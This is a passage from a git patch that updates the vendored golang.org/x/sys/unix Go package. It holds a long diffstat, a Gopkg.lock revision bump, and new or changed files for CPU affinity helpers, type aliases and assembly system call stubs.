- .../x/sys/unix/syscall_darwin_arm64.go | 47 +-
- .../x/sys/unix/syscall_darwin_libSystem.go | 33 +
- .../x/sys/unix/syscall_dragonfly.go | 136 +-
- .../x/sys/unix/syscall_dragonfly_amd64.go | 21 +-
- .../golang.org/x/sys/unix/syscall_freebsd.go | 592 ++--
- .../x/sys/unix/syscall_freebsd_386.go | 31 +-
- .../x/sys/unix/syscall_freebsd_amd64.go | 31 +-
- .../x/sys/unix/syscall_freebsd_arm.go | 27 +-
- ...nfly_amd64.go => syscall_freebsd_arm64.go} | 31 +-
- .../golang.org/x/sys/unix/syscall_illumos.go | 57 +
- vendor/golang.org/x/sys/unix/syscall_linux.go | 1030 +++++-
- .../x/sys/unix/syscall_linux_386.go | 47 +-
- .../x/sys/unix/syscall_linux_amd64.go | 80 +-
- .../x/sys/unix/syscall_linux_arm.go | 64 +-
- .../x/sys/unix/syscall_linux_arm64.go | 111 +-
- .../golang.org/x/sys/unix/syscall_linux_gc.go | 14 +
- .../x/sys/unix/syscall_linux_gc_386.go | 16 +
- .../x/sys/unix/syscall_linux_gccgo_386.go | 30 +
- .../x/sys/unix/syscall_linux_gccgo_arm.go | 20 +
- .../x/sys/unix/syscall_linux_mips64x.go | 53 +-
- .../x/sys/unix/syscall_linux_mipsx.go | 47 +-
- .../x/sys/unix/syscall_linux_ppc64x.go | 59 +-
- ...inux_arm64.go => syscall_linux_riscv64.go} | 118 +-
- .../x/sys/unix/syscall_linux_s390x.go | 44 +-
- .../x/sys/unix/syscall_linux_sparc64.go | 48 +-
- .../golang.org/x/sys/unix/syscall_netbsd.go | 156 +-
- .../x/sys/unix/syscall_netbsd_386.go | 21 +-
- .../x/sys/unix/syscall_netbsd_amd64.go | 21 +-
- .../x/sys/unix/syscall_netbsd_arm.go | 21 +-
- ...etbsd_amd64.go => syscall_netbsd_arm64.go} | 25 +-
- .../golang.org/x/sys/unix/syscall_no_getwd.go | 11 -
- .../golang.org/x/sys/unix/syscall_openbsd.go | 199 +-
- .../x/sys/unix/syscall_openbsd_386.go | 25 +-
- .../x/sys/unix/syscall_openbsd_amd64.go | 25 +-
- .../x/sys/unix/syscall_openbsd_arm.go | 27 +-
- .../x/sys/unix/syscall_openbsd_arm64.go | 41 +
- .../golang.org/x/sys/unix/syscall_solaris.go | 128 +-
- .../x/sys/unix/syscall_solaris_amd64.go | 24 +-
- vendor/golang.org/x/sys/unix/syscall_unix.go | 176 +-
- .../golang.org/x/sys/unix/syscall_unix_gc.go | 2 +-
- ...l_unix_gc.go => syscall_unix_gc_ppc64x.go} | 21 +-
- vendor/golang.org/x/sys/unix/timestruct.go | 82 +
- .../unix/{types_netbsd.go => types_aix.go} | 196 +-
- vendor/golang.org/x/sys/unix/types_darwin.go | 41 +-
- .../golang.org/x/sys/unix/types_dragonfly.go | 66 +-
- vendor/golang.org/x/sys/unix/types_freebsd.go | 178 +-
- vendor/golang.org/x/sys/unix/types_netbsd.go | 73 +-
- vendor/golang.org/x/sys/unix/types_openbsd.go | 78 +-
- vendor/golang.org/x/sys/unix/types_solaris.go | 54 +-
- .../golang.org/x/sys/unix/unveil_openbsd.go | 42 +
- vendor/golang.org/x/sys/unix/xattr_bsd.go | 240 ++
- .../golang.org/x/sys/unix/zerrors_aix_ppc.go | 1384 ++++++++
- .../x/sys/unix/zerrors_aix_ppc64.go | 1385 ++++++++
- .../x/sys/unix/zerrors_darwin_386.go | 391 ++-
- .../x/sys/unix/zerrors_darwin_amd64.go | 391 ++-
- .../x/sys/unix/zerrors_darwin_arm.go | 391 ++-
- .../x/sys/unix/zerrors_darwin_arm64.go | 391 ++-
- .../x/sys/unix/zerrors_dragonfly_amd64.go | 355 ++-
- .../x/sys/unix/zerrors_freebsd_386.go | 508 ++-
- .../x/sys/unix/zerrors_freebsd_amd64.go | 506 ++-
- .../x/sys/unix/zerrors_freebsd_arm.go | 368 ++-
- ...ebsd_amd64.go => zerrors_freebsd_arm64.go} | 509 ++-
- vendor/golang.org/x/sys/unix/zerrors_linux.go | 2469 +++++++++++++++
- .../x/sys/unix/zerrors_linux_386.go | 2690 ++++------------
- .../x/sys/unix/zerrors_linux_amd64.go | 2691 ++++------------
- .../x/sys/unix/zerrors_linux_arm.go | 2701 ++++------------
- .../x/sys/unix/zerrors_linux_arm64.go | 2673 ++++------------
- .../x/sys/unix/zerrors_linux_mips.go | 2702 ++++------------
- .../x/sys/unix/zerrors_linux_mips64.go | 2702 ++++------------
- .../x/sys/unix/zerrors_linux_mips64le.go | 2702 ++++------------
- .../x/sys/unix/zerrors_linux_mipsle.go | 2702 ++++------------
- .../x/sys/unix/zerrors_linux_ppc64.go | 2816 ++++-------------
- .../x/sys/unix/zerrors_linux_ppc64le.go | 2816 ++++-------------
- .../x/sys/unix/zerrors_linux_riscv64.go | 771 +++++
- .../x/sys/unix/zerrors_linux_s390x.go | 2812 ++++------------
- .../x/sys/unix/zerrors_linux_sparc64.go | 2013 +++---------
- .../x/sys/unix/zerrors_netbsd_386.go | 325 +-
- .../x/sys/unix/zerrors_netbsd_amd64.go | 325 +-
- .../x/sys/unix/zerrors_netbsd_arm.go | 325 +-
- ...etbsd_amd64.go => zerrors_netbsd_arm64.go} | 327 +-
- .../x/sys/unix/zerrors_openbsd_386.go | 339 +-
- .../x/sys/unix/zerrors_openbsd_amd64.go | 576 ++--
- .../x/sys/unix/zerrors_openbsd_arm.go | 333 +-
- ...nbsd_amd64.go => zerrors_openbsd_arm64.go} | 605 ++--
- .../x/sys/unix/zerrors_solaris_amd64.go | 380 ++-
- .../x/sys/unix/zptrace_armnn_linux.go | 41 +
- .../x/sys/unix/zptrace_linux_arm64.go | 17 +
- .../x/sys/unix/zptrace_mipsnn_linux.go | 50 +
- .../x/sys/unix/zptrace_mipsnnle_linux.go | 50 +
- .../x/sys/unix/zptrace_x86_linux.go | 80 +
- .../golang.org/x/sys/unix/zsyscall_aix_ppc.go | 1484 +++++++++
- ..._netbsd_amd64.go => zsyscall_aix_ppc64.go} | 936 +++---
- .../x/sys/unix/zsyscall_aix_ppc64_gc.go | 1192 +++++++
- .../x/sys/unix/zsyscall_aix_ppc64_gccgo.go | 1070 +++++++
- ...win_arm.go => zsyscall_darwin_386.1_11.go} | 416 ++-
- .../x/sys/unix/zsyscall_darwin_386.1_13.go | 41 +
- .../x/sys/unix/zsyscall_darwin_386.1_13.s | 12 +
- .../x/sys/unix/zsyscall_darwin_386.go | 1314 ++++++--
- .../x/sys/unix/zsyscall_darwin_386.s | 284 ++
- ...arm64.go => zsyscall_darwin_amd64.1_11.go} | 416 ++-
- .../x/sys/unix/zsyscall_darwin_amd64.1_13.go | 41 +
- .../x/sys/unix/zsyscall_darwin_amd64.1_13.s | 12 +
- .../x/sys/unix/zsyscall_darwin_amd64.go | 1314 ++++++--
- .../x/sys/unix/zsyscall_darwin_amd64.s | 284 ++
- ...win_arm.go => zsyscall_darwin_arm.1_11.go} | 389 ++-
- .../x/sys/unix/zsyscall_darwin_arm.1_13.go | 41 +
- .../x/sys/unix/zsyscall_darwin_arm.1_13.s | 12 +
- .../x/sys/unix/zsyscall_darwin_arm.go | 1301 ++++++--
- .../x/sys/unix/zsyscall_darwin_arm.s | 282 ++
- ...arm64.go => zsyscall_darwin_arm64.1_11.go} | 389 ++-
- .../x/sys/unix/zsyscall_darwin_arm64.1_13.go | 41 +
- .../x/sys/unix/zsyscall_darwin_arm64.1_13.s | 12 +
- .../x/sys/unix/zsyscall_darwin_arm64.go | 1301 ++++++--
- .../x/sys/unix/zsyscall_darwin_arm64.s | 282 ++
- .../x/sys/unix/zsyscall_dragonfly_amd64.go | 238 +-
- .../x/sys/unix/zsyscall_freebsd_386.go | 204 +-
- .../x/sys/unix/zsyscall_freebsd_amd64.go | 204 +-
- .../x/sys/unix/zsyscall_freebsd_arm.go | 204 +-
- ...bsd_amd64.go => zsyscall_freebsd_arm64.go} | 206 +-
- .../x/sys/unix/zsyscall_illumos_amd64.go | 87 +
- ...scall_linux_s390x.go => zsyscall_linux.go} | 774 ++---
- .../x/sys/unix/zsyscall_linux_386.go | 1573 +--------
- .../x/sys/unix/zsyscall_linux_amd64.go | 1607 +---------
- .../x/sys/unix/zsyscall_linux_arm.go | 1626 +---------
- .../x/sys/unix/zsyscall_linux_arm64.go | 1513 +--------
- .../x/sys/unix/zsyscall_linux_mips.go | 1567 +--------
- .../x/sys/unix/zsyscall_linux_mips64.go | 1552 +--------
- .../x/sys/unix/zsyscall_linux_mips64le.go | 1552 +--------
- .../x/sys/unix/zsyscall_linux_mipsle.go | 1567 +--------
- .../x/sys/unix/zsyscall_linux_ppc64.go | 1586 +---------
- .../x/sys/unix/zsyscall_linux_ppc64le.go | 1586 +---------
- .../x/sys/unix/zsyscall_linux_riscv64.go | 582 ++++
- .../x/sys/unix/zsyscall_linux_s390x.go | 1570 +--------
- .../x/sys/unix/zsyscall_linux_sparc64.go | 1247 +-------
- .../x/sys/unix/zsyscall_netbsd_386.go | 551 +++-
- .../x/sys/unix/zsyscall_netbsd_amd64.go | 551 +++-
- .../x/sys/unix/zsyscall_netbsd_arm.go | 551 +++-
- ...ebsd_amd64.go => zsyscall_netbsd_arm64.go} | 262 +-
- .../x/sys/unix/zsyscall_openbsd_386.go | 338 +-
- .../x/sys/unix/zsyscall_openbsd_amd64.go | 338 +-
- .../x/sys/unix/zsyscall_openbsd_arm.go | 338 +-
- ...arwin_386.go => zsyscall_openbsd_arm64.go} | 289 +-
- .../x/sys/unix/zsyscall_solaris_amd64.go | 382 ++-
- ...sctl_openbsd.go => zsysctl_openbsd_386.go} | 4 +-
- ...tl_openbsd.go => zsysctl_openbsd_amd64.go} | 42 +-
- ...sctl_openbsd.go => zsysctl_openbsd_arm.go} | 6 +-
- ...tl_openbsd.go => zsysctl_openbsd_arm64.go} | 47 +-
- .../x/sys/unix/zsysnum_darwin_386.go | 60 +-
- .../x/sys/unix/zsysnum_darwin_amd64.go | 62 +-
- .../x/sys/unix/zsysnum_darwin_arm.go | 14 +-
- .../x/sys/unix/zsysnum_darwin_arm64.go | 14 +-
- .../x/sys/unix/zsysnum_dragonfly_amd64.go | 176 +-
- .../x/sys/unix/zsysnum_freebsd_386.go | 731 +++--
- .../x/sys/unix/zsysnum_freebsd_amd64.go | 731 +++--
- .../x/sys/unix/zsysnum_freebsd_arm.go | 731 +++--
- .../x/sys/unix/zsysnum_freebsd_arm64.go | 396 +++
- .../x/sys/unix/zsysnum_linux_386.go | 808 ++---
- .../x/sys/unix/zsysnum_linux_amd64.go | 19 +-
- .../x/sys/unix/zsysnum_linux_arm.go | 745 ++---
- .../x/sys/unix/zsysnum_linux_arm64.go | 20 +-
- .../x/sys/unix/zsysnum_linux_mips.go | 779 ++---
- .../x/sys/unix/zsysnum_linux_mips64.go | 19 +-
- .../x/sys/unix/zsysnum_linux_mips64le.go | 19 +-
- .../x/sys/unix/zsysnum_linux_mipsle.go | 779 ++---
- .../x/sys/unix/zsysnum_linux_ppc64.go | 33 +-
- .../x/sys/unix/zsysnum_linux_ppc64le.go | 33 +-
- ...inux_arm64.go => zsysnum_linux_riscv64.go} | 23 +-
- .../x/sys/unix/zsysnum_linux_s390x.go | 80 +-
- .../x/sys/unix/zsysnum_linux_sparc64.go | 35 +-
- .../x/sys/unix/zsysnum_netbsd_386.go | 4 +-
- .../x/sys/unix/zsysnum_netbsd_amd64.go | 4 +-
- .../x/sys/unix/zsysnum_netbsd_arm.go | 4 +-
- ..._netbsd_386.go => zsysnum_netbsd_arm64.go} | 6 +-
- .../x/sys/unix/zsysnum_openbsd_386.go | 223 +-
- .../x/sys/unix/zsysnum_openbsd_amd64.go | 223 +-
- .../x/sys/unix/zsysnum_openbsd_arm.go | 217 +-
- ...penbsd_arm.go => zsysnum_openbsd_arm64.go} | 218 +-
- .../x/sys/unix/zsysnum_solaris_amd64.go | 13 -
- .../golang.org/x/sys/unix/ztypes_aix_ppc.go | 352 +++
- .../golang.org/x/sys/unix/ztypes_aix_ppc64.go | 356 +++
- .../x/sys/unix/ztypes_darwin_386.go | 195 +-
- .../x/sys/unix/ztypes_darwin_amd64.go | 241 +-
- .../x/sys/unix/ztypes_darwin_arm.go | 195 +-
- .../x/sys/unix/ztypes_darwin_arm64.go | 246 +-
- .../x/sys/unix/ztypes_dragonfly_amd64.go | 213 +-
- .../x/sys/unix/ztypes_freebsd_386.go | 426 ++-
- .../x/sys/unix/ztypes_freebsd_amd64.go | 448 ++-
- .../x/sys/unix/ztypes_freebsd_arm.go | 427 ++-
- ...eebsd_amd64.go => ztypes_freebsd_arm64.go} | 430 ++-
- vendor/golang.org/x/sys/unix/ztypes_linux.go | 2340 ++++++++++++++
- .../golang.org/x/sys/unix/ztypes_linux_386.go | 878 ++---
- .../x/sys/unix/ztypes_linux_amd64.go | 881 ++----
- .../golang.org/x/sys/unix/ztypes_linux_arm.go | 899 +++---
- .../x/sys/unix/ztypes_linux_arm64.go | 883 ++----
- .../x/sys/unix/ztypes_linux_mips.go | 864 ++---
- .../x/sys/unix/ztypes_linux_mips64.go | 880 ++----
- .../x/sys/unix/ztypes_linux_mips64le.go | 880 ++----
- .../x/sys/unix/ztypes_linux_mipsle.go | 864 ++---
- .../x/sys/unix/ztypes_linux_ppc64.go | 889 ++----
- .../x/sys/unix/ztypes_linux_ppc64le.go | 889 ++----
- .../x/sys/unix/ztypes_linux_riscv64.go | 621 ++++
- .../x/sys/unix/ztypes_linux_s390x.go | 842 ++---
- .../x/sys/unix/ztypes_linux_sparc64.go | 910 +++---
- .../x/sys/unix/ztypes_netbsd_386.go | 145 +-
- .../x/sys/unix/ztypes_netbsd_amd64.go | 152 +-
- .../x/sys/unix/ztypes_netbsd_arm.go | 151 +-
- ...netbsd_amd64.go => ztypes_netbsd_arm64.go} | 154 +-
- .../x/sys/unix/ztypes_openbsd_386.go | 173 +-
- .../x/sys/unix/ztypes_openbsd_amd64.go | 264 +-
- .../x/sys/unix/ztypes_openbsd_arm.go | 255 +-
- ...enbsd_amd64.go => ztypes_openbsd_arm64.go} | 260 +-
- .../x/sys/unix/ztypes_solaris_amd64.go | 239 +-
- 293 files changed, 60017 insertions(+), 59731 deletions(-)
- create mode 100644 vendor/golang.org/x/sys/unix/affinity_linux.go
- create mode 100644 vendor/golang.org/x/sys/unix/aliases.go
- create mode 100644 vendor/golang.org/x/sys/unix/asm_aix_ppc64.s
- copy vendor/golang.org/x/sys/unix/{asm_linux_mips64x.s => asm_freebsd_arm64.s} (71%)
- create mode 100644 vendor/golang.org/x/sys/unix/asm_linux_riscv64.s
- copy vendor/golang.org/x/sys/unix/{asm_linux_mips64x.s => asm_netbsd_arm64.s} (60%)
- copy vendor/golang.org/x/sys/unix/{asm_linux_mips64x.s => asm_openbsd_arm64.s} (76%)
- create mode 100644 vendor/golang.org/x/sys/unix/dev_aix_ppc.go
- create mode 100644 vendor/golang.org/x/sys/unix/dev_aix_ppc64.go
- create mode 100644 vendor/golang.org/x/sys/unix/dev_darwin.go
- create mode 100644 vendor/golang.org/x/sys/unix/dev_dragonfly.go
- create mode 100644 vendor/golang.org/x/sys/unix/dev_freebsd.go
- create mode 100644 vendor/golang.org/x/sys/unix/dev_netbsd.go
- create mode 100644 vendor/golang.org/x/sys/unix/dev_openbsd.go
- delete mode 100644 vendor/golang.org/x/sys/unix/env_unset.go
- create mode 100644 vendor/golang.org/x/sys/unix/errors_freebsd_arm64.go
- rename vendor/golang.org/x/sys/unix/{flock.go => fcntl.go} (54%)
- create mode 100644 vendor/golang.org/x/sys/unix/fcntl_darwin.go
- rename vendor/golang.org/x/sys/unix/{flock_linux_32bit.go => fcntl_linux_32bit.go} (100%)
- create mode 100644 vendor/golang.org/x/sys/unix/fdset.go
- delete mode 100644 vendor/golang.org/x/sys/unix/file_unix.go
- delete mode 100644 vendor/golang.org/x/sys/unix/gccgo_linux_sparc64.go
- create mode 100644 vendor/golang.org/x/sys/unix/ioctl.go
- create mode 100644 vendor/golang.org/x/sys/unix/mkasm_darwin.go
- create mode 100644 vendor/golang.org/x/sys/unix/mkmerge.go
- create mode 100644 vendor/golang.org/x/sys/unix/mksyscall.go
- create mode 100644 vendor/golang.org/x/sys/unix/mksyscall_aix_ppc.go
- create mode 100644 vendor/golang.org/x/sys/unix/mksyscall_aix_ppc64.go
- create mode 100644 vendor/golang.org/x/sys/unix/mksyscall_solaris.go
- create mode 100644 vendor/golang.org/x/sys/unix/mksysctl_openbsd.go
- create mode 100644 vendor/golang.org/x/sys/unix/mksysnum.go
- delete mode 100644 vendor/golang.org/x/sys/unix/openbsd_pledge.go
- create mode 100644 vendor/golang.org/x/sys/unix/pagesize_unix.go
- create mode 100644 vendor/golang.org/x/sys/unix/pledge_openbsd.go
- create mode 100644 vendor/golang.org/x/sys/unix/readdirent_getdents.go
- create mode 100644 vendor/golang.org/x/sys/unix/readdirent_getdirentries.go
- create mode 100644 vendor/golang.org/x/sys/unix/sockcmsg_dragonfly.go
- create mode 100644 vendor/golang.org/x/sys/unix/sockcmsg_unix_other.go
- create mode 100644 vendor/golang.org/x/sys/unix/syscall_aix.go
- create mode 100644 vendor/golang.org/x/sys/unix/syscall_aix_ppc.go
- create mode 100644 vendor/golang.org/x/sys/unix/syscall_aix_ppc64.go
- create mode 100644 vendor/golang.org/x/sys/unix/syscall_darwin.1_12.go
- create mode 100644 vendor/golang.org/x/sys/unix/syscall_darwin.1_13.go
- create mode 100644 vendor/golang.org/x/sys/unix/syscall_darwin_386.1_11.go
- create mode 100644 vendor/golang.org/x/sys/unix/syscall_darwin_amd64.1_11.go
- create mode 100644 vendor/golang.org/x/sys/unix/syscall_darwin_arm.1_11.go
- create mode 100644 vendor/golang.org/x/sys/unix/syscall_darwin_arm64.1_11.go
- create mode 100644 vendor/golang.org/x/sys/unix/syscall_darwin_libSystem.go
- copy vendor/golang.org/x/sys/unix/{syscall_dragonfly_amd64.go => syscall_freebsd_arm64.go} (59%)
- create mode 100644 vendor/golang.org/x/sys/unix/syscall_illumos.go
- create mode 100644 vendor/golang.org/x/sys/unix/syscall_linux_gc.go
- create mode 100644 vendor/golang.org/x/sys/unix/syscall_linux_gc_386.go
- create mode 100644 vendor/golang.org/x/sys/unix/syscall_linux_gccgo_386.go
- create mode 100644 vendor/golang.org/x/sys/unix/syscall_linux_gccgo_arm.go
- copy vendor/golang.org/x/sys/unix/{syscall_linux_arm64.go => syscall_linux_riscv64.go} (68%)
- copy vendor/golang.org/x/sys/unix/{syscall_netbsd_amd64.go => syscall_netbsd_arm64.go} (50%)
- delete mode 100644 vendor/golang.org/x/sys/unix/syscall_no_getwd.go
- create mode 100644 vendor/golang.org/x/sys/unix/syscall_openbsd_arm64.go
- copy vendor/golang.org/x/sys/unix/{syscall_unix_gc.go => syscall_unix_gc_ppc64x.go} (51%)
- create mode 100644 vendor/golang.org/x/sys/unix/timestruct.go
- copy vendor/golang.org/x/sys/unix/{types_netbsd.go => types_aix.go} (53%)
- create mode 100644 vendor/golang.org/x/sys/unix/unveil_openbsd.go
- create mode 100644 vendor/golang.org/x/sys/unix/xattr_bsd.go
- create mode 100644 vendor/golang.org/x/sys/unix/zerrors_aix_ppc.go
- create mode 100644 vendor/golang.org/x/sys/unix/zerrors_aix_ppc64.go
- copy vendor/golang.org/x/sys/unix/{zerrors_freebsd_amd64.go => zerrors_freebsd_arm64.go} (80%)
- create mode 100644 vendor/golang.org/x/sys/unix/zerrors_linux.go
- create mode 100644 vendor/golang.org/x/sys/unix/zerrors_linux_riscv64.go
- copy vendor/golang.org/x/sys/unix/{zerrors_netbsd_amd64.go => zerrors_netbsd_arm64.go} (89%)
- copy vendor/golang.org/x/sys/unix/{zerrors_openbsd_amd64.go => zerrors_openbsd_arm64.go} (76%)
- create mode 100644 vendor/golang.org/x/sys/unix/zptrace_armnn_linux.go
- create mode 100644 vendor/golang.org/x/sys/unix/zptrace_linux_arm64.go
- create mode 100644 vendor/golang.org/x/sys/unix/zptrace_mipsnn_linux.go
- create mode 100644 vendor/golang.org/x/sys/unix/zptrace_mipsnnle_linux.go
- create mode 100644 vendor/golang.org/x/sys/unix/zptrace_x86_linux.go
- create mode 100644 vendor/golang.org/x/sys/unix/zsyscall_aix_ppc.go
- copy vendor/golang.org/x/sys/unix/{zsyscall_netbsd_amd64.go => zsyscall_aix_ppc64.go} (57%)
- create mode 100644 vendor/golang.org/x/sys/unix/zsyscall_aix_ppc64_gc.go
- create mode 100644 vendor/golang.org/x/sys/unix/zsyscall_aix_ppc64_gccgo.go
- copy vendor/golang.org/x/sys/unix/{zsyscall_darwin_arm.go => zsyscall_darwin_386.1_11.go} (85%)
- create mode 100644 vendor/golang.org/x/sys/unix/zsyscall_darwin_386.1_13.go
- create mode 100644 vendor/golang.org/x/sys/unix/zsyscall_darwin_386.1_13.s
- create mode 100644 vendor/golang.org/x/sys/unix/zsyscall_darwin_386.s
- copy vendor/golang.org/x/sys/unix/{zsyscall_darwin_arm64.go => zsyscall_darwin_amd64.1_11.go} (85%)
- create mode 100644 vendor/golang.org/x/sys/unix/zsyscall_darwin_amd64.1_13.go
- create mode 100644 vendor/golang.org/x/sys/unix/zsyscall_darwin_amd64.1_13.s
- create mode 100644 vendor/golang.org/x/sys/unix/zsyscall_darwin_amd64.s
- copy vendor/golang.org/x/sys/unix/{zsyscall_darwin_arm.go => zsyscall_darwin_arm.1_11.go} (85%)
- create mode 100644 vendor/golang.org/x/sys/unix/zsyscall_darwin_arm.1_13.go
- create mode 100644 vendor/golang.org/x/sys/unix/zsyscall_darwin_arm.1_13.s
- create mode 100644 vendor/golang.org/x/sys/unix/zsyscall_darwin_arm.s
- copy vendor/golang.org/x/sys/unix/{zsyscall_darwin_arm64.go => zsyscall_darwin_arm64.1_11.go} (84%)
- create mode 100644 vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.1_13.go
- create mode 100644 vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.1_13.s
- create mode 100644 vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.s
- copy vendor/golang.org/x/sys/unix/{zsyscall_freebsd_amd64.go => zsyscall_freebsd_arm64.go} (90%)
- create mode 100644 vendor/golang.org/x/sys/unix/zsyscall_illumos_amd64.go
- copy vendor/golang.org/x/sys/unix/{zsyscall_linux_s390x.go => zsyscall_linux.go} (79%)
- create mode 100644 vendor/golang.org/x/sys/unix/zsyscall_linux_riscv64.go
- copy vendor/golang.org/x/sys/unix/{zsyscall_freebsd_amd64.go => zsyscall_netbsd_arm64.go} (92%)
- copy vendor/golang.org/x/sys/unix/{zsyscall_darwin_386.go => zsyscall_openbsd_arm64.go} (87%)
- copy vendor/golang.org/x/sys/unix/{zsysctl_openbsd.go => zsysctl_openbsd_386.go} (99%)
- copy vendor/golang.org/x/sys/unix/{zsysctl_openbsd.go => zsysctl_openbsd_amd64.go} (91%)
- copy vendor/golang.org/x/sys/unix/{zsysctl_openbsd.go => zsysctl_openbsd_arm.go} (99%)
- rename vendor/golang.org/x/sys/unix/{zsysctl_openbsd.go => zsysctl_openbsd_arm64.go} (91%)
- create mode 100644 vendor/golang.org/x/sys/unix/zsysnum_freebsd_arm64.go
- copy vendor/golang.org/x/sys/unix/{zsysnum_linux_arm64.go => zsysnum_linux_riscv64.go} (92%)
- copy vendor/golang.org/x/sys/unix/{zsysnum_netbsd_386.go => zsysnum_netbsd_arm64.go} (99%)
- copy vendor/golang.org/x/sys/unix/{zsysnum_openbsd_arm.go => zsysnum_openbsd_arm64.go} (67%)
- delete mode 100644 vendor/golang.org/x/sys/unix/zsysnum_solaris_amd64.go
- create mode 100644 vendor/golang.org/x/sys/unix/ztypes_aix_ppc.go
- create mode 100644 vendor/golang.org/x/sys/unix/ztypes_aix_ppc64.go
- copy vendor/golang.org/x/sys/unix/{ztypes_freebsd_amd64.go => ztypes_freebsd_arm64.go} (54%)
- create mode 100644 vendor/golang.org/x/sys/unix/ztypes_linux.go
- create mode 100644 vendor/golang.org/x/sys/unix/ztypes_linux_riscv64.go
- copy vendor/golang.org/x/sys/unix/{ztypes_netbsd_amd64.go => ztypes_netbsd_arm64.go} (73%)
- copy vendor/golang.org/x/sys/unix/{ztypes_openbsd_amd64.go => ztypes_openbsd_arm64.go} (58%)
-
-diff --git a/Gopkg.lock b/Gopkg.lock
-index b4333103..01a867d5 100644
---- a/Gopkg.lock
-+++ b/Gopkg.lock
-@@ -112,11 +112,11 @@
-
- [[projects]]
- branch = "master"
-- digest = "1:51912e607c5e28a89fdc7e41d3377b92086ab7f76ded236765dbf98d0a704c5d"
-+ digest = "1:f8181d8aa1e268255316ec12ab5402d4f671b1da6d7ad40abdf2f92c0404b67d"
- name = "golang.org/x/sys"
- packages = ["unix"]
- pruneopts = "NUT"
-- revision = "bb24a47a89eac6c1227fbcb2ae37a8b9ed323366"
-+ revision = "1957bb5e6d1f523308b49060df02171d06ddfc77"
-
- [[projects]]
- branch = "v2"
-diff --git a/vendor/golang.org/x/sys/unix/affinity_linux.go b/vendor/golang.org/x/sys/unix/affinity_linux.go
-new file mode 100644
-index 00000000..6e5c81ac
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/affinity_linux.go
-@@ -0,0 +1,86 @@
-+// Copyright 2018 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// CPU affinity functions
-+
-+package unix
-+
-+import (
-+ "math/bits"
-+ "unsafe"
-+)
-+
-+const cpuSetSize = _CPU_SETSIZE / _NCPUBITS
-+
-+// CPUSet represents a CPU affinity mask.
-+type CPUSet [cpuSetSize]cpuMask
-+
-+func schedAffinity(trap uintptr, pid int, set *CPUSet) error {
-+ _, _, e := RawSyscall(trap, uintptr(pid), uintptr(unsafe.Sizeof(*set)), uintptr(unsafe.Pointer(set)))
-+ if e != 0 {
-+ return errnoErr(e)
-+ }
-+ return nil
-+}
-+
-+// SchedGetaffinity gets the CPU affinity mask of the thread specified by pid.
-+// If pid is 0 the calling thread is used.
-+func SchedGetaffinity(pid int, set *CPUSet) error {
-+ return schedAffinity(SYS_SCHED_GETAFFINITY, pid, set)
-+}
-+
-+// SchedSetaffinity sets the CPU affinity mask of the thread specified by pid.
-+// If pid is 0 the calling thread is used.
-+func SchedSetaffinity(pid int, set *CPUSet) error {
-+ return schedAffinity(SYS_SCHED_SETAFFINITY, pid, set)
-+}
-+
-+// Zero clears the set s, so that it contains no CPUs.
-+func (s *CPUSet) Zero() {
-+ for i := range s {
-+ s[i] = 0
-+ }
-+}
-+
-+func cpuBitsIndex(cpu int) int {
-+ return cpu / _NCPUBITS
-+}
-+
-+func cpuBitsMask(cpu int) cpuMask {
-+ return cpuMask(1 << (uint(cpu) % _NCPUBITS))
-+}
-+
-+// Set adds cpu to the set s.
-+func (s *CPUSet) Set(cpu int) {
-+ i := cpuBitsIndex(cpu)
-+ if i < len(s) {
-+ s[i] |= cpuBitsMask(cpu)
-+ }
-+}
-+
-+// Clear removes cpu from the set s.
-+func (s *CPUSet) Clear(cpu int) {
-+ i := cpuBitsIndex(cpu)
-+ if i < len(s) {
-+ s[i] &^= cpuBitsMask(cpu)
-+ }
-+}
-+
-+// IsSet reports whether cpu is in the set s.
-+func (s *CPUSet) IsSet(cpu int) bool {
-+ i := cpuBitsIndex(cpu)
-+ if i < len(s) {
-+ return s[i]&cpuBitsMask(cpu) != 0
-+ }
-+ return false
-+}
-+
-+// Count returns the number of CPUs in the set s.
-+func (s *CPUSet) Count() int {
-+ c := 0
-+ for _, b := range s {
-+ c += bits.OnesCount64(uint64(b))
-+ }
-+ return c
-+}
-diff --git a/vendor/golang.org/x/sys/unix/aliases.go b/vendor/golang.org/x/sys/unix/aliases.go
-new file mode 100644
-index 00000000..951fce4d
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/aliases.go
-@@ -0,0 +1,14 @@
-+// Copyright 2018 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris
-+// +build go1.9
-+
-+package unix
-+
-+import "syscall"
-+
-+type Signal = syscall.Signal
-+type Errno = syscall.Errno
-+type SysProcAttr = syscall.SysProcAttr
-diff --git a/vendor/golang.org/x/sys/unix/asm_aix_ppc64.s b/vendor/golang.org/x/sys/unix/asm_aix_ppc64.s
-new file mode 100644
-index 00000000..06f84b85
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/asm_aix_ppc64.s
-@@ -0,0 +1,17 @@
-+// Copyright 2018 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build !gccgo
-+
-+#include "textflag.h"
-+
-+//
-+// System calls for ppc64, AIX are implemented in runtime/syscall_aix.go
-+//
-+
-+TEXT ·syscall6(SB),NOSPLIT,$0-88
-+ JMP syscall·syscall6(SB)
-+
-+TEXT ·rawSyscall6(SB),NOSPLIT,$0-88
-+ JMP syscall·rawSyscall6(SB)
-diff --git a/vendor/golang.org/x/sys/unix/asm_dragonfly_amd64.s b/vendor/golang.org/x/sys/unix/asm_dragonfly_amd64.s
-index d5ed6726..603dd572 100644
---- a/vendor/golang.org/x/sys/unix/asm_dragonfly_amd64.s
-+++ b/vendor/golang.org/x/sys/unix/asm_dragonfly_amd64.s
-@@ -13,17 +13,17 @@
- // Just jump to package syscall's implementation for all these functions.
- // The runtime may know about them.
-
--TEXT ·Syscall(SB),NOSPLIT,$0-64
-+TEXT ·Syscall(SB),NOSPLIT,$0-56
- JMP syscall·Syscall(SB)
-
--TEXT ·Syscall6(SB),NOSPLIT,$0-88
-+TEXT ·Syscall6(SB),NOSPLIT,$0-80
- JMP syscall·Syscall6(SB)
-
